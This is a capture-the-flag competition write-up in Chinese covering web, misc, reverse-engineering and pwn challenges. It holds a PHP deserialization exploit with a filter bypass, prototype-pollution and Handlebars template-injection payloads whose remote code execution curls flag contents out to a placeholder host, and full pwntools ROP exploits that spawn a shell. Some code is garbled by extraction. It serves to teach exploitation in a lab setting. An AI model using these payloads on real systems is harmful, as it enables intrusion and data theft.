2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

admin 2023年10月17日13:19:32评论146 views字数 9299阅读30分59秒阅读模式
EDI
JOIN US ▶▶▶
招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 · 关注我们

01

Web

1

PHP_unserialize_pro

知识点:反序列化链构造+rce绕过

Welcome::__destruct → H4ck3r::__toString → G00d::__invoke

<?php    error_reporting(0);    class Welcome{//入口        public $name;//name="A_G00d_H4ck3r";        public $arg = 'welcome';//arg=new H4ck3r();
        public function __construct(){            $this->name = 'Wh0 4m I?';        }        public function __destruct(){            echo $name;            if($this->name == 'A_G00d_H4ck3r'){                echo $this->arg;//触发H4ck3r::__toString            }        }    }
    class G00d{        public $shell;        public $cmd;        public function __invoke(){            $shell = $this->shell;            $cmd = $this->cmd;            if(preg_match('/f|l|a|g|*|?/i', $cmd)){                die("U R A BAD GUY");            }            eval($shell($cmd));        }    }
    class H4ck3r{        public $func;//func=new G00d();        public function __toString(){            $function = $this->func;            $function();//触发G00d::__invoke        }    }
    if(isset($_GET['data']))        unserialize($_GET['data']);    else        highlight_file(__FILE__);?>

先dir /看到flag在/f1ag

rce绕过:

more+/[1-z]1[1-z][1-z]
exp:
<?php    error_reporting(0);    class Welcome{//入口        public $name;//name="A_G00d_H4ck3r";        public $arg = 'welcome';//arg=new H4ck3r();        public function __construct(){//绕过__construct        }        public function __destruct(){}    }
    class G00d{        public $shell;        public $cmd;        public function __invoke(){}    }
    class H4ck3r{        public $func;//func=new G00d();        public function __toString(){}    }    $a = new Welcome();    $a->name="A_G00d_H4ck3r";    $a->arg=new H4ck3r();    $a->arg->func=new G00d();    $a->arg->func->shell="system";    $a->arg->func->cmd="more+/[1-z]1[1-z][1-z]";    echo(serialize($a));?>

2

meow_blog

下载源码分析,有如下几个路由。功能有:注册、登陆、发布文章和设置风格(style)

根据传参可知,基本都需要登陆认证后才能访问,其中/style路由需要admin权限。

通过yarn audit可知以下两个模块的版本有漏洞,其中Collection.js存在原型链污染

通过搜索全文,只有如下位置使用了Collection.js,同时符合原型链污染条件。

参考:https://security.snyk.io/vuln/SNYK-JS-COLLECTIONJS-3185148

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

既然存在原型链污染,那么就可以把req.session.user进行污染来登陆admin。

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

POST /login HTTP/1.1Host: 127.0.0.1:5001Content-Length: 115Connection: closeContent-Type: application/json;charset=UTF-8
{"username":"123","password":"123","submit":[{"__proto__":{"user":{"id":1,"username":"admin","style":"xxx"}}},"1"]}
上述数据包污染后,刷新页面就能进入admin权限,如下图。

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

需要admin权限的路由是/style,因此重点关注一下有什么问题

当请求posts时,这里存在安全问题:

style: handlebars.compile(style ?? '')()

存在模板注入

参考:https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767

但是当前题目环境的版本做了修复,主要修复思路应该是把危险助手函数禁用,翻文档发现可以通过设置运行时参数allowedProtoMethods来启用相关函数,

参考:https://www.handlebarsjs.cn/api-reference/runtime-options.html
源码搜索一下配置项名称,发现代码内使用的名字也是allowedProtoMethods,那么就可以直接通过污染allowedProtoMethods来设置运行时参数。源码搜索一下配置项名称,发现代码内使用的名字也是allowedProtoMethods,那么就可以直接通过污染allowedProtoMethods来设置运行时参数。
https://github.com/handlebars-lang/handlebars.js/blob/1fc4ef09c1ac0ffb4c0f88ca685f44d1e0f32f89/lib/handlebars/internal/proto-access.js#L28

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

poc
参照:https://security.snyk.io/vuln/SNYK-JS-HANDLEBARS-1056767
{{#with (__lookupGetter__ "__proto__")}} {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} {{#with ../constructor.prototype}} {{../../constructor.defineProperty . "hasOwnProperty" ..}} {{/with}} {{/with}} {{/with}} {{#with "constructor"}} {{#with split}} {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} {{#with .}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../..)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
但是handlebars的模板语法中禁用了require(),无法导入相关模块进行rce,这里需要通过process.binding('spawn_sync').spawn来rce。

getflag

设置style

POST /style HTTP/1.1Host: 39.106.48.123:13049Content-Length: 950Cache-Control: max-age=0sec-ch-ua: sec-ch-ua-mobile: ?0sec-ch-ua-platform: ""Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1:5001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:5001/loginAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closeContent-Type: application/json;charset=UTF-8
{"submit":[{"__proto__":{"user":{"id":"c23d123d-e123-444e-a69f-9e69b285473e","username":"admin"},"allowedProtoMethods":{"split": true,"__lookupGetter__": true,"valueOf": true}}},"1"],"style":"{{#with (__lookupGetter__ "__proto__")}} {{#with (./constructor.getOwnPropertyDescriptor . "valueOf")}} {{#with ../constructor.prototype}} {{../../constructor.defineProperty . "hasOwnProperty" ..}} {{/with}} {{/with}} {{/with}} {{#with "constructor"}} {{#with split}} {{pop (push "eval('process.binding(\'spawn_sync\').spawn({file:\'/bin/bash\',args: [\'/bin/bash\',\'-c\',\'curl http://x.x.x.x:4041/`cat /flag`\'],stdio: [{type:\'pipe\',readable:!0,writable:!1},{type:\'pipe\',readable:!1,writable:!0},{type:\'pipe\',readable:!1,writable:!0}]});');")}} {{#with .}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../..)}} {{.}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}"}

以admin用户随意新建一篇post,然后访问这篇post就可以触发rce,例如:http://127.0.0.1:5001/posts/1312

vps的httplog就能接收到flag。

02

Misc

1

签到

base64+凯撒解密

flag{we1c0m3_2_Ctf}
03

Re

1

URL从哪里来

ida打开,发现exe文件产生了第二个文件,动态调试,得到产生文件的路径

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

然后运行一下exe文件,在对应C盘的目录下找到产生的.tmp文件,动态调试,取Block数据。

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

逻辑就是先减30,再base64解密。

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

flag{6469616e-6369-626f-7169-746170617761}

2

hello_py

apk程序,在assets文件夹中发现相关py文件。

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

继续解压app.imy,得到题目提示的hello.py文件,打开以后,存在混淆,发现了xxtea的特征和密钥密文。

2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

写脚本解密。
#include <stdio.h>#include <stdint.h>#define DELTA 0x9e3779b9#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))void btea(uint32_t *v, int n, uint32_t const key[4]){    uint32_t y, z, sum;    unsigned p, rounds, e;    if (n > 1)            /* Coding Part */    {        rounds = 6 + 52/n;        sum = 0;        z = v[n-1];        do        {            sum += DELTA;            e = (sum >> 2) & 3;            for (p=0; p<n-1; p++)            {                y = v

; z = v

+= MX; } y = v[0]; z = v[n-1] += MX; } while (--rounds); } else if (n < -1) /* Decoding Part */ { n = -n; rounds = 6 + 52/n; sum = rounds*DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p=n-1; p>0; p--) { z = v

; y = v

-= MX; } z = v[n-1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); }} int main() { uint32_t v[9]= {689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494}; uint32_t const k[4]= {12345678 ,12398712 ,91283904 ,12378192}; int n= 9; btea(v, -n, k); for(int i=0;i<9;i ++){ printf("%c",v[i] & 0xff); printf("%c",v[i] >> 8 & 0xff); printf("%c",v[i] >> 16 & 0xff); printf("%c",v[i] >> 24 & 0xff); } printf("n"); return 0; }

flag{c1f8ace6-4b46-4931-b25b-a1010a89c592}
04

Pwn

1

MOVE

栈迁移,泄露libc为2.27-3ubuntu1.6_amd64

或者2.27-3ubuntu1.5_amd64,sh可以取字符串“i can give you some cash”。

from pwn import *#from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')#context.terminal = ['tmux','splitw','-h']filename = './pwn'debug = 0ip = '59.110.231.185'port = 37149
if debug:    p = process(filename)else:    p  = remote(ip,port)
ru      = lambda a:     p.recvuntil(a)r       = lambda n:     p.recv(n)sla     = lambda a,b:   p.sendlineafter(a,b)sa      = lambda a,b:   p.sendafter(a,b)sl      = lambda a:     p.sendline(a)s       = lambda a:     p.send(a)l32     = lambda  :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64     = lambda  :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda  :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda  :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg      = lambda s, num :p.success('%s -> 0x%x' % (s, num))

def inter() : p.interactive()def debu(cmd=''):    gdb.attach(p,cmd)    pause()def get_addr():     return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sysbin(libc_base,libc):     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))def csu(rdi, rsi, rdx, rip, gadget) :     return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
shellcode = p64(0x401353)+p64(0x404020)+p64(0x401080)+p64(0x401264)sa(b'again!n',shellcode)sa(b'number',p32(0x12345678))payload = b'a'*0x30+p64(0x4050A0-0x8)+p64(0x40124b)#debu('b *0x401264')sa(b'TaiCooLa',payload)leak = get_addr()print("write addr : ",hex(leak))system_addr = leak-0xc0cd0print("system addr : ",hex(system_addr))
shellcode = p64(0x401353)+p64(0x402027)+p64(system_addr)#shellcode = b'a'*0x20#debu('b *0x401264')sa(b'again!n',shellcode)inter(

2

pwthon

先泄露ELF 基地址,格式化字符串泄露canary,最后栈溢出构造ROP使得system(”/bin/sh”)。

from pwn import *#from LibcSearcher import *context(os='linux', arch='amd64', log_level='debug')#context.terminal = ['tmux','splitw','-h']filename = ''debug = 0ip = '59.110.125.41'port = 37172
if debug:    p = process(filename)else:    p  = remote(ip,port)
ru      = lambda a:     p.recvuntil(a)r       = lambda n:     p.recv(n)sla     = lambda a,b:   p.sendlineafter(a,b)sa      = lambda a,b:   p.sendafter(a,b)sl      = lambda a:     p.sendline(a)s       = lambda a:     p.send(a)l32     = lambda  :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64     = lambda  :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda  :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda  :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg      = lambda s, num :p.success('%s -> 0x%x' % (s, num))

def inter() : p.interactive()def debu(cmd=''):    gdb.attach(p,cmd)    pause()def get_addr():     return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_sysbin(libc_base,libc):     return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))def csu(rdi, rsi, rdx, rip, gadget) :     return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
sla(b'> ',b'0')ru(b'0x')base=int(r(12),16)-0x68b0pop_rdi=base+0x3f8fpayload =  b'%X.'*0x11+b'%s.'+b'%p.'*0xepayload += b'a'*8+p64(base+0x16250)sl(payload)addr = ru(b'a'*8).split(b'.')read_addr = u64(addr[17]+b'x00x00')
libc_base=read_addr-0x132030sh_addr=libc_base+0x1B3D88pop_rdx_rsi=libc_base+0x130539pop_rax=libc_base+0x1b500syscall=libc_base+0x2743
payload=b'a'*0x108+p64(int(addr[0x1f],16))+p64(0)payload+=p64(pop_rdx_rsi)+p64(0)*2payload+=p64(pop_rdi)+p64(sh_addr)payload+=p64(pop_rax)+p64(0x3b)payload+=p64(syscall)
sl(payload)inter()

原文始发于微信公众号(EDI安全):2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月17日13:19:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023中山市第三届香山杯网络安全大赛初赛-WriteUp By EDISEChttps://cn-sec.com/archives/2120669.html

发表评论

匿名网友 填写信息